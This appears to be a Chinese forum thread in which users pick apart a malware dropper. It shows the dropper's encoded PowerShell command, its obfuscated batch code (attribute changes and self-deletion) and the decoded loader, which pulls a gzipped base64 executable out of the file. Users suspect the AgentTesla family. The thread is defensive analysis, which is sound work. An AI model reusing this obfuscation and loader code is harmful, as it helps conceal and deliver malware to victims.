1. -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoA%

复制代码

set "Idgtlgdcyq=-h" & set "Gbafrpkndc=at"
set "Clwfyqnnfv=tr"
set "Ijzvuiunzt=s " & set "Nzyxhbkulr=ib" & set "Bawsidyhiv= -"
%Gbafrpkndc%%Clwfyqnnfv%%Nzyxhbkulr%%Bawsidyhiv%%Ijzvuiunzt%%Idgtlgdcyq% %0.exe
就是attrib -s -h %0.exe
隐藏文件
然后set "Fqblbcpdxu=del"
%Fqblbcpdxu% %0.exe
也就是用del %0.exe删除这个文件
最后set "Sgekndacdy=exit" & set "Gxvsjxtdhc= /b"
%Sgekndacdy%%Gxvsjxtdhc%
exit /b
更新一条，参数后面那串base64解密后好像是一串powershell
$exe = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName; $len = $exe.Length;$len = $len - 4;$WebTitle = New-Object -TypeName System.Text.StringBuilder; foreach ($line in [System.IO.File]::ReadLines($exe.Remove($len))) { if ($line -like '* 错*') {  $WebTitle.Append($line.Split('错')[1]) | Out-Null} }; $bytes = [System.Convert]::FromBase64String($WebTitle.ToString());$input = New-Object System.IO.MemoryStream( , $bytes );$output = New-Object System.IO.MemoryStream;$gzipStream = New-Obj

wwwab

python无名氏 发表于 2023-3-8 19:57
微步恶意
我横竖吃不下饭，看了好久才从字缝里看出点信息
最下面一大堆用ansi打开后前面一堆“错” ...

可以解密出来exe文件来的

需要同时非常熟悉bat Base64 PowerShell，难度不小的，有人已经试过了，反正我不太行

我个人判断应该是AgentTesla家族样本，exe用.NET写的估计也是有一堆混淆

hansyu

AVG 双击 IDP